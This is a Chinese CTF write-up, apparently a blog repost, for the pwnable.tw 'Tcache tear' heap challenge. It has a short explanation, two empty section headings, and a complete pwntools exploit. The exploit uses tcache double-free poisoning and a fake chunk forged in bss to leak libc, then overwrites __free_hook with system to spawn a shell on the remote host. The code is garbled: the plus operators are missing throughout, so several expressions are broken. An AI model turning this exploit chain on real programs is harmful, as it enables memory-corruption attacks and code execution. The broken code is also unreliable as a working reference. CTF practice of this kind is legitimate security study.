[pwnable.tw] Tcache tear — 利用bss构造堆块的地址泄露技巧

2022-08-01 14:00:07 浏览数 (2)

之所以记录这题是因为一开始我忽略了两个很朴素的方法组合在一起所造成的地址泄露技巧——bss任意写 0x20字节输出 伪造堆块。被常规思维束缚(平时比赛的恰饭题千篇一律也是一个原因)的我老想着找办法去打stdout,然而对于free次数的限制根本不允许我这么做。于是转念一想,既然不能泄露有libc地址的地方,我可以通过伪造大堆块并释放,让地址出现在bss上我可以输出的部分。

题目分析

思路

EXP

代码语言:javascript复制
from pwn import *

#p = process("./tcache_tear")
p = remote("chall.pwnable.tw", 10207)
elf = ELF("./tcache_tear")
libc = ELF("./libc-remote.so")
context.log_level = "debug"

def malloc(size:int, content):
    p.recvuntil(b"Your choice :")
    p.sendline(b"1")
    p.recvuntil(b"Size:")
    p.sendline(str(size).encode())
    p.recvuntil(b"Data:")
    p.send(content)

def free():
    p.recvuntil(b"Your choice :")
    p.sendline(b"2")

def info():
    p.recvuntil(b"Your choice :")
    p.sendline(b"3")

def exp():
    #const
    printf_plt = elf.symbols[b"printf"]
    atoll_got = elf.got[b"atoll"]
    bss_name = 0x602060
    bss_chunk_ptr = 0x602088
    print("printf_plt:", hex(printf_plt))
    print("atoll_got:", hex(atoll_got))
    print("bss_name:", hex(bss_chunk_ptr))
    print("bss_chunk_ptr:", hex(bss_chunk_ptr))

    name = p64(0)   p64(0x511)
    p.recvuntil(b"Name:")
    p.send(name)

    # leak lib
    ## tcache attach 1
    malloc(0x68, b"aaaa")
    for i in range(2):
        free()
    malloc(0x68, p64(bss_name 0x510))
    malloc(0x68, b"bbbb")

    ## make fake_fastchunk for fake_largechunk
    print("fake_fastchunk*2:", hex(bss_name 0x510))
    payload = p64(0)   p64(0x21)   p64(0)*3   p64(0x21)
    malloc(0x68, payload)

    ## tcache attack 2
    malloc(0x78, b"cccc")
    for i in range(2):
        free()
    malloc(0x78, p64(bss_name 0x10))
    malloc(0x78, b"dddd")

    ## build fake_largechunk
    print("fake_fastchunk*2:", hex(bss_name 0x10))
    payload = p64(0)   p64(0)
    malloc(0x78, payload) #get fake_largechunk_ptr
    ## get libc addr
    free()

    ## leak info
    info()
    p.recvuntil(b"Name :")
    p.recv(0x10)
    libc_leak = u64(p.recv(8))
    libc_base = libc_leak - 0x3ebca0
    system = libc_base   libc.symbols[b"system"]
    free_hook = libc_base   libc.symbols[b"__free_hook"]
    print("libc_leak:", hex(libc_leak))
    print("libc_base:", hex(libc_base))
    print("system:", hex(system))
    print("free_hook:", hex(free_hook))

    malloc(0x58, b"e"*8)
    for i in range(2):
        free()
    malloc(0x58, p64(free_hook))
    malloc(0x58, b"ffff")
    malloc(0x58, p64(system))
    gdb.attach(p)

    malloc(0x18, b"/bin/shx00")
    free()

    p.interactive()

if __name__ == "__main__":
    exp()

0 人点赞